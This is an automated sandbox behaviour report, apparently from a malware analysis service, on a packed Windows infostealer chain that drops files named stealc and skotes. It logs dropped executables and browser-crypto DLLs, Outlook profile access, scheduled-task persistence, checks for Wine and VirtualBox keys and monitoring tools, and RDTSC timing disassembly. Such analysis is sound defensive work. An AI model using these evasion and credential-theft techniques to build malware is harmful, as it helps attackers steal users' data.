Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Section loaded: winrnr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1853440 > 1048576

Source: file.exe

Static PE information: Raw size of vqntibyw is bigger than: 0x100000 < 0x1aaa00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2015395642.000000006CD4F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.8a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;vqntibyw:EW;dhxteean:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;vqntibyw:EW;dhxteean:EW;.taggant:EW;
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Unpacked PE file: 23.2.DocumentsKKJKFBKKEC.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.10000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ahejieaj:EW;yokqpkiv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Unpacked PE file: 31.2.2bb39d7142.exe.be0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;edxcvrdu:EW;syqfiudc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;edxcvrdu:EW;syqfiudc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB13480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CB13480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 2bb39d7142.exe.27.dr	Static PE information: real checksum: 0x435185 should be: 0x441c1f
Source: file.exe	Static PE information: real checksum: 0x1d26bb should be: 0x1cec5b
Source: random[1].exe.27.dr	Static PE information: real checksum: 0x435185 should be: 0x441c1f
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: real checksum: 0x1e1cd5 should be: 0x1e1098
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e1cd5 should be: 0x1e1098
Source: stealc_main1[1].exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x48fea
Source: stealc_main1.exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x48fea
Source: skotes.exe.23.dr	Static PE information: real checksum: 0x1e1cd5 should be: 0x1e1098

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: vqntibyw
Source: file.exe	Static PE information: section name: dhxteean
Source: file.exe	Static PE information: section name: .taggant
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: ahejieaj
Source: random[1].exe.0.dr	Static PE information: section name: yokqpkiv
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name:
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name:
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: ahejieaj
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: yokqpkiv
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: ahejieaj
Source: skotes.exe.23.dr	Static PE information: section name: yokqpkiv
Source: skotes.exe.23.dr	Static PE information: section name: .taggant
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: .rsrc
Source: random[1].exe.27.dr	Static PE information: section name: .idata
Source: random[1].exe.27.dr	Static PE information: section name:
Source: random[1].exe.27.dr	Static PE information: section name: edxcvrdu
Source: random[1].exe.27.dr	Static PE information: section name: syqfiudc
Source: random[1].exe.27.dr	Static PE information: section name: .taggant
Source: 2bb39d7142.exe.27.dr	Static PE information: section name:
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: .rsrc
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: .idata
Source: 2bb39d7142.exe.27.dr	Static PE information: section name:
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: edxcvrdu
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: syqfiudc
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B536 push ecx; ret	0_2_6CB4B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007F9CD push 591EDF90h; mov dword ptr [esp], eax	25_1_0007FBA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007F9CD push 66045041h; mov dword ptr [esp], ecx	25_1_0007FBAF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007F9CD push ebp; mov dword ptr [esp], edx	25_1_0007FBB5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007FA03 push 591EDF90h; mov dword ptr [esp], eax	25_1_0007FBA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007FA03 push 66045041h; mov dword ptr [esp], ecx	25_1_0007FBAF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007FA03 push ebp; mov dword ptr [esp], edx	25_1_0007FBB5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000CA215 push ebp; mov dword ptr [esp], 2FB8846Bh	25_1_000CA297
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000CA215 push 0E4CFBF0h; mov dword ptr [esp], edx	25_1_000CA2EF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000CA215 push 787524C4h; mov dword ptr [esp], edi	25_1_000CA300
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000DD416 push esi; mov dword ptr [esp], ebp	25_1_000DD461
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000DD416 push ebp; mov dword ptr [esp], ebx	25_1_000DD47A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_000DD416 push 3EDF086Fh; mov dword ptr [esp], edi	25_1_000DD488
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007FA22 push 591EDF90h; mov dword ptr [esp], eax	25_1_0007FBA3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007FA22 push 66045041h; mov dword ptr [esp], ecx	25_1_0007FBAF
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_0007FA22 push ebp; mov dword ptr [esp], edx	25_1_0007FBB5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push ebx; mov dword ptr [esp], edi	25_1_001FD650
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push 330F97DFh; mov dword ptr [esp], edx	25_1_001FD660
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push 261313C2h; mov dword ptr [esp], ebp	25_1_001FD688
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push edx; mov dword ptr [esp], 3C583AD2h	25_1_001FD6B7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push edi; mov dword ptr [esp], edx	25_1_001FD765
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push 1A4CD094h; mov dword ptr [esp], ebx	25_1_001FD814
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push 5B0C4644h; mov dword ptr [esp], edx	25_1_001FD95E
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push eax; mov dword ptr [esp], esp	25_1_001FD97F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push 26C45E0Dh; mov dword ptr [esp], edi	25_1_001FD9F4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push edi; mov dword ptr [esp], ecx	25_1_001FDA46
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push esi; mov dword ptr [esp], ecx	25_1_001FDA94
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push 5ECFF850h; mov dword ptr [esp], eax	25_1_001FDAB1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push edx; mov dword ptr [esp], eax	25_1_001FDAB5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push esi; mov dword ptr [esp], 57CA0C6Eh	25_1_001FDB2F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_1_001FD633 push ebp; mov dword ptr [esp], ebx	25_1_001FDB6E

Source: file.exe	Static PE information: section name: vqntibyw entropy: 7.9538823519007655
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.977578155060191
Source: random[1].exe.0.dr	Static PE information: section name: ahejieaj entropy: 7.954351339979067
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: entropy: 7.977578155060191
Source: DocumentsKKJKFBKKEC.exe.0.dr	Static PE information: section name: ahejieaj entropy: 7.954351339979067
Source: skotes.exe.23.dr	Static PE information: section name: entropy: 7.977578155060191
Source: skotes.exe.23.dr	Static PE information: section name: ahejieaj entropy: 7.954351339979067
Source: random[1].exe.27.dr	Static PE information: section name: edxcvrdu entropy: 7.955367336411187
Source: 2bb39d7142.exe.27.dr	Static PE information: section name: edxcvrdu entropy: 7.955367336411187

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKJKFBKKEC.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsKKJKFBKKEC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKJKFBKKEC.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsKKJKFBKKEC.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsKKJKFBKKEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB755F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0528 second address: AF052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF052D second address: AEFDC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2F50B4A344h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jnp 00007F2F50B4A346h 0x00000012 jmp 00007F2F50B4A340h 0x00000017 push dword ptr [ebp+122D0045h] 0x0000001d stc 0x0000001e call dword ptr [ebp+122D1AAAh] 0x00000024 pushad 0x00000025 xor dword ptr [ebp+122D18F9h], ebx 0x0000002b xor eax, eax 0x0000002d jmp 00007F2F50B4A344h 0x00000032 or dword ptr [ebp+122D18F9h], eax 0x00000038 mov edx, dword ptr [esp+28h] 0x0000003c jmp 00007F2F50B4A345h 0x00000041 jmp 00007F2F50B4A33Eh 0x00000046 mov dword ptr [ebp+122D3B7Eh], eax 0x0000004c pushad 0x0000004d jmp 00007F2F50B4A33Fh 0x00000052 mov eax, dword ptr [ebp+122D3BAEh] 0x00000058 popad 0x00000059 jmp 00007F2F50B4A346h 0x0000005e mov esi, 0000003Ch 0x00000063 or dword ptr [ebp+122D18F9h], ebx 0x00000069 add esi, dword ptr [esp+24h] 0x0000006d pushad 0x0000006e movzx eax, bx 0x00000071 add edi, 03A1EBF0h 0x00000077 popad 0x00000078 lodsw 0x0000007a or dword ptr [ebp+122D18F9h], ecx 0x00000080 add eax, dword ptr [esp+24h] 0x00000084 jng 00007F2F50B4A342h 0x0000008a pushad 0x0000008b sub eax, dword ptr [ebp+122D3B76h] 0x00000091 mov si, 05EBh 0x00000095 popad 0x00000096 mov ebx, dword ptr [esp+24h] 0x0000009a jnp 00007F2F50B4A33Ch 0x000000a0 nop 0x000000a1 jmp 00007F2F50B4A348h 0x000000a6 push eax 0x000000a7 pushad 0x000000a8 pushad 0x000000a9 push eax 0x000000aa push edx 0x000000ab rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C705E3 second address: C705E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
